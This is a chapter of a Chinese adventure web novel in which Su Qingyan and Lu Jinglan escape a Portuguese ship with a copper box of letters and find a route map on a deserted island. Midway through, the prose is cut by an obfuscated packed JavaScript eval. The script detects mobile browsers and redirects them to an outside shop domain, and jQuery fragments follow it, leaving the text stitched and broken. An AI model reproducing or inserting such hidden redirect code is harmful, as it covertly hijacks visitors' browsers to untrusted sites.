咸腥的海水灌进领口时,苏清晏才后知后觉,刚才抢那叠塞在铜匣里的信件时,动作太急了。
五根鱼叉的铁尖几乎贴着她的鼻尖,冷得像冰。西洋暗哨的西班牙语混着粗重的喘息,她听不懂,但能看懂那眼神——是要杀人。
“往礁石缝里钻。”陆景澜的声音压得极低,他的舢板横在她船侧,木舷被鱼叉刮出刺耳的裂响。他没看她,只死死盯着最前面那个暗哨握鱼叉的手,指节因用力而泛白。
苏清晏攥紧铜匣,指甲掐进木缝。她的舢板本就漏,刚才撞在礁石上,船底又裂了道新缝,海水漫过脚踝,泡得她小腿发麻。
“快!”陆景澜的舢板被另一根鱼叉戳中船尾,木板崩裂的瞬间,他猛地扳舵,船身狠狠撞向旁边的暗哨船。那暗哨猝不及防,身体一歪,鱼叉脱了手。
就是这一瞬。
苏清晏拼尽全力划动船桨,舢板像片被浪抛起的叶子,扎进礁石群的缝隙。缝隙极窄,两边的礁石刮得船身吱呀作响,她能听见身后暗哨的叫骂声,还有鱼叉砸在礁石上的脆响。
“别停!”陆景澜的声音从旁边传来,他的船挤在她外侧,船舷被礁石刮得掉了一大块漆,“他们的船大,进不来!”
海水灌得更凶了。苏清晏低头,看见船底的裂缝里,海水像喷泉似的往外涌。她摸出怀里的布巾,想去堵,却发现布巾早被海水泡得透湿。
“是我冲动了。”她的声音带着颤,咸涩的海水混着不知是汗还是泪的液体,滑进嘴里。如果不是她非要抢那叠信件,他们根本不会被困在这里。
一只手按在她的肩膀上,带着海水的凉意,却很稳。“先跑。”陆景澜的船擦着礁石挤过来,他的裤腿被划破,血混着海水往下滴,“回去再想办法。”
身后的叫骂声突然停了。
苏清晏心里一紧,猛地回头。
远处的海面上,一艘三桅的西洋船正掉转船头,船舷上的炮口黑沉沉的,像只盯着猎物的眼睛。船桅上的旗帜她认得,是葡萄牙东印度公司的标志。
“他们发现我们了。”陆景澜的声音沉下来,他抓起船桨,拼尽全力往反方向划,“往无人岛的方向,快!”
苏清晏跟着划,船桨撞在礁石上,震得她虎口发麻。她的舢板漏得越来越厉害,船身不断往下沉,每划一下,海水就漫上一分,几乎要没过膝盖。
葡萄牙船的速度很快,船身划破水面的声音越来越近。苏清晏能看见站在船首的水手,正举着望远镜往这边看。
“把铜匣给我。”陆景澜突然说。
苏清晏愣了一下,攥紧铜匣。里面是他们拼了命抢来的证据,是能扳倒那些人的关键。
“我引开他们,你带着东西走。”陆景澜的脸被海水泡得发白,他的船桨划得更快,船身渐渐往旁边偏,“往东边的暗礁群钻,他们的船吃水深,进不去。”
“不行!”苏清晏脱口而出。
“听我的。”陆景澜没看她,只死死盯着越来越近的葡萄牙船,他的手按在船舷上,指节用力到泛青,“这是唯一的办法。”
话音刚落,他猛地扳舵,舢板像离弦的箭似的,往西边的开阔海面冲去。
葡萄牙船果然被他吸引,船身掉转,朝着他的方向追去。船首的水手放下望远镜,开始大喊。
苏清晏攥着铜匣,看着陆景澜的舢板在浪里颠簸,越来越远。海水漫过她的腰,船底的裂缝越来越大,她能听见木板崩裂的声音。
她猛地划动船桨,拼尽全力往东边的暗礁群冲。海水灌进船里,呛得她直咳嗽,视线里,陆景澜的舢板正被葡萄牙船追上,船首的水手举起了鱼叉。
咸涩的浪头劈头盖脸砸下来,灌进半沉的舢板里,木缝里的海水漫得更快,几乎要没过膝盖。苏清晏攥着铜匣的指节泛白,视线死死钉在远处——陆景澜的舢板正被那艘三桅西洋船咬得极紧,船首的水手举着带倒钩的鱼叉,手臂后拉,蓄力待发。
她咬着牙把船桨压进水里,木柄磨得掌心破皮,血混着海水浸进纹路里。“回来!”她喊得嗓子发疼,声音碎在浪涛里,连自己都听不清。
鱼叉破空的锐响刺进耳朵。
苏清晏瞳孔骤缩,看见那道银灰色的弧线扎进陆景澜舢板的船尾,木屑飞溅。西洋水手拽动绳索,舢板猛地被扯得歪向一侧,陆景澜的身体晃了晃,单手死死扒住船舷,另一只手还攥着船桨。
“陆景澜!”她的声音彻底破了。
就在这时,陆景澜忽然抬头,视线越过西洋船的船首,直直钉向她的方向。他的嘴唇动了动,隔着浪声和风声,苏清晏读清了那两个字:“快走。”
下一秒,他猛地抄起船桨,狠狠砸在拽着鱼叉的绳索上。木桨断成两截,绳索却只晃了晃。西洋水手发出粗野的笑,又举起另一把鱼叉。
苏清晏的心脏像被一只手攥住,疼得喘不过气。她强迫自己转开视线,拼尽全力把舢板往东边的暗礁群划——她知道,这是唯一能让两人都活下来的办法。
暗礁群的礁石犬牙交错,西洋船吃水太深,根本不敢闯。舢板擦过礁石的锐响刺耳,船底被划得吱呀作响,漏进来的海水更多,她只能一边划,一边用手往外舀水,指甲缝里塞满了沙和血。
不知划了多久,身后的西洋船鸣笛声终于远了。苏清晏瘫坐在舢板里,浑身脱力,海水泡得她的皮肤发皱,冷得直打颤。她回头望,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747655|209353||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
海面上只剩一个模糊的白点,分不清是陆景澜的舢板,还是西洋船的帆。
她攥着铜匣,指节抵在冰冷的铜面上,喉咙里涌上一股腥甜。是她冲动了,如果不是非要抢那叠藏在圣胡安港的信件,他们根本不会陷入绝境。
又划了小半个时辰,远处终于出现那座光秃秃的无人岛。浅滩的沙是暗褐色的,连棵树都没有,只有几块嶙峋的礁石。苏清晏把舢板奋力划到浅滩,船底蹭到沙的瞬间,她几乎是滚着下了船,双腿一软,直接摔在沙地上,咸涩的海水混着沙灌进嘴里。
她趴在地上喘了好久,才挣扎着爬起来,把铜匣抱在怀里,踉跄着往岛上的临时营地走。所谓营地,不过是几块礁石围起来的小凹地,铺着几张干海草,是他们之前藏身时搭的。
刚走到凹地,身后就传来熟悉的脚步声。苏清晏猛地回头,看见陆景澜深一脚浅一脚地走过来,他的裤腿被鱼叉划开一道大口子,小腿上渗着血,脸色白得像纸,身上的衣服全破了,手里还攥着半根断桨。
“你……”苏清晏的喉咙哽住,说不出话。
陆景澜走到她面前,看了看她怀里的铜匣,又看了看她掌心磨破的伤口,只说了两个字:“拿到了?”
苏清晏点头,把铜匣递给他。她的手还在抖,声音带着哭腔:“是我冲动了。”
陆景澜没接铜匣,只伸手拍了拍她的肩膀,他的手也是凉的,却很稳:“先整理。”
两人蹲在干海草上,打开铜匣。里面是一叠信件,还有几份盖着西洋印章的文书。苏清晏强压着手抖,把信件一张张摊开,阳光透过薄云照下来,纸页上的字迹有些模糊。
她翻到第三封信时,指尖顿住。信封的夹层里,掉出一张叠得方方正正的羊皮纸。
她展开羊皮纸,上面是用西洋墨水画的航线,线条歪歪扭扭,却标着几个清晰的坐标。航线的终点,是一个画着小叉的岛屿,旁边用西洋文写着一行字,苏清晏认得,是“补给点”的意思。
“这是……”她把羊皮纸递向陆景澜。
陆景澜接过,指尖抚过纸上的航线,眉头皱起来。他刚要说话,远处的海面上,突然传来熟悉的西洋船鸣笛声。
两人同时抬头。
那艘三桅西洋船正停在不远的海面上,船舷对着无人岛,船首的水手举着望远镜,正往岛上看。船身的阴影压过来,像一块沉下来的云。
苏清晏和陆景澜瘫坐在干海草上,浑身的力气瞬间被抽干。她低头看自己的腿,海水泡过的皮肤泛着白,还沾着沙;又看了看手里的羊皮纸,航线的小叉在阳光下,像一只盯着他们的眼睛。
西洋船的鸣笛声又响了一次,比刚才更近。